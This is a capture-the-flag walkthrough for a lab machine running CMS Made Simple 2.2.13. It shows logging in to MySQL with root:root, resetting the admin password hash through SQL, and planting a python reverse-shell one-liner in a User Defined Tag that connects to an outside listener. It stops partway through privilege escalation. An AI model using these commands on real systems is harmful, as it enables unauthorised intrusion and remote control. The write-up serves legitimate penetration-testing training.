Exploitation Guide for MyCMSMS1
Summary

This machine is first exploited via an easy to guess MySQL root user’s credentials, then by resetting an application user’s password from the database, and finally a remote code execution vulnerability in the User Defined Tags functionality of the CMS MS application. It is escalated by recovering encoded user credentials and abusing misconfigured sudo permissions on the /usr/bin/python binary.
Enumeration
Nmap

As usual, start off by running an nmap scan against all TCP ports:

kali@kali:~# sudo nmap -p- 192.168.120.162
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-14 07:43 EDT
Nmap scan report for 192.168.120.162
Host is up (0.031s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
33060/tcp open mysqlx

CMS MS

Navigating to port 80, we see a web portal of a content management system CMS MS and we can check its version to be 2.2.13:

kali@kali:~# curl http://192.168.120.162 | grep version
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 19582 0 19582 0 0 164k 0 –:–:– –:–:– –:–:– 164k

This site is powered by CMS Made Simple version 2.2.13

This version of MySQL does not have any known vulnerabilities.
BUT, searchsploit shows “CMS Made Simple v2.2.13 – Paper” does.
MySQL

On port 3306, there is an instance of MySQL running to support the CMS. We can try some default or weak credentials (such as root:root) for an easy win:

kali@kali:~# mysql -h 192.168.120.162 -uroot -proot
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 16
Server version: 8.0.19 MySQL Community Server – GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.

MySQL [(none)]>

And we have a successful login with the username root and password root. Enumerating existing databases shows the database cmsms_db, which is the one supporting the CMS:

MySQL [(none)]> SHOW DATABASES;
+——————–+
| Database |
+——————–+
| cmsms_db |
| information_schema |
| mysql |
| performance_schema |
| sys |
+——————–+
5 rows in set (0.045 sec)

MySQL [(none)]> USE cmsms_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cmsms_db]>

We are interested in a users table here for some hashed credentials:

MySQL [cmsms_db]> SHOW TABLES;
+——————————–+
| Tables_in_cmsms_db |
+——————————–+
| cms_additional_users |

| cms_users |
| cms_users_seq |
| cms_version |
+——————————–+
53 rows in set (0.032 sec)

MySQL [cmsms_db]>

Table cms_users is the one to target. Listing its contents shows the following:

MySQL [cmsms_db]> SELECT * FROM cms_users;
+———+———-+———————————-+————–+————+———–+——————-+——–+———————+———————+
| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |
+———+———-+———————————-+————–+————+———–+——————-+——–+———————+———————+
| 1 | admin | fb67c6d24e756229aab021cea7605fb3 | 1 | | | admin@mycms.local | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 |
+———+———-+———————————-+————–+————+———–+——————-+——–+———————+———————+
1 row in set (0.029 sec)

MySQL [cmsms_db]>

Exploitation
CMS MS DB User Password Reset

We see the user admin and what looks like an MD5 hash fb67c6d24e756229aab021cea7605fb3. The hash is not quite a basic MD5 of the user’s password, and we need to research the exact
algorithm used to generate such a hash. If found, that algorithm can be used to change the admin user’s password to one of our choosing.

It so happens that the CMS’ own website actually publishes the information on how to reset a user’s password (https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery).
It can be done with the following query:

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = ‘sitemask’),”),’NEW_PASSWORD’))) where username = ‘USER_NAME’

or (GFM) UPDATE `cms_users` SET `password` = ‘ccb737977c6c1bae16ec2cd546357c80’ WHERE `user_id` = 1;

Changing it for our situation, it becomes:

UPDATE cms_users SET password = (SELECT MD5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = ‘sitemask’),”),’admin’))) where username = ‘admin’;
Executing this query should set the user’s password to admin, and we should then be able to authenticate to the CMS as admin:admin:

MySQL [cmsms_db]> SELECT username, password FROM cms_users WHERE user_id = 1;
+———-+———————————-+
| username | password |
+———-+———————————-+
| admin | fb67c6d24e756229aab021cea7605fb3 |
+———-+———————————-+
1 row in set (0.030 sec)

MySQL [cmsms_db]> UPDATE cms_users SET password = (SELECT MD5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = ‘sitemask’),”),’admin’))) where username = ‘admin’;
Query OK, 1 row affected (0.033 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MySQL [cmsms_db]> SELECT username, password FROM cms_users WHERE user_id = 1;
+———-+———————————-+
| username | password |
+———-+———————————-+
| admin | ab3dc656130f84d84be72bc033e29c96 |
+———-+———————————-+
1 row in set (0.039 sec)

MySQL [cmsms_db]> quit
Bye
kali@kali:~#

Looks like the password hash was successfully changed.
CMS MS Enumeration

We can now log in to the CMS with the credentials admin:admin at http://192.168.120.162/admin/login.php. Looking around the portal, under Extensions we see User Defined Tags (http://192.168.120.162/admin/listusertags.php?__c=…), where the __c parameter serves as XSRF protection and will be different for each request.

The description for Tags reads:

Tags are little bits of PHP functionality that can be added to your content and/or templates.

And the description for User Defined Tags reads:

User Defined Tags (UDT’s) that you can create and modify yourself to perform specific tasks, right from your browser.

It looks like we are able to introduce arbitrary PHP code into a template.
Reverse Shell

After navigating to User Defined Tags, select Add User Defined Tag link. Name the tag Shell and place the following python reverse shell in the Code section:

shell_exec(“python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.118.3\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);'”);

After saving this tag by clicking Submit, navigate to Content > Content Manager. Click on the Add New Content link to insert our user defined tag with the python reverse shell. Set the title of the new page to Shell and add the following to the content section:

{Shell}

Save the new page by clicking Submit. Start a netcat listener on port 4444. The shell can then be triggered by visiting http://192.168.120.162/index.php?page=shell

kali@kali:~# nc -lvp 4444
listening on [any] 4444 …
192.168.120.162: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.162] 37460
/bin/sh: 0: can’t access tty; job control turned off
$ python -c ‘import pty; pty.spawn(“/bin/bash”)’
www-data@mycmsms:/var/www/html$ whoami
whoami
www-data
www-data@mycmsms:/var/www/html$

Escalation
Changing User

We will look around the system for any interesting password files:

www-data@mycmsms:/var/www/html$ find / -type f -name “*pass*” 2>/dev/null
find / -type f -name “*pass*” 2>/dev/null

/var/www/html/admin/themes/OneEleven/images/icons/system/groupassign.gif
/var/www/html/admin/.htpasswd

We find the file /var/www/html/admin/.htpasswd, which contains:

www-data@mycmsms:/var/www/html$ cat /var/www/html/admin/.htpasswd
cat /var/www/html/admin/.htpasswd
TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=
www-data@mycmsms:/var/www/html$

The string TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= is base64 encoded. Decoding it yields the following:

www-data@mycmsms:/var/www/html$ echo “TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=” | base64 -d

Leave a Reply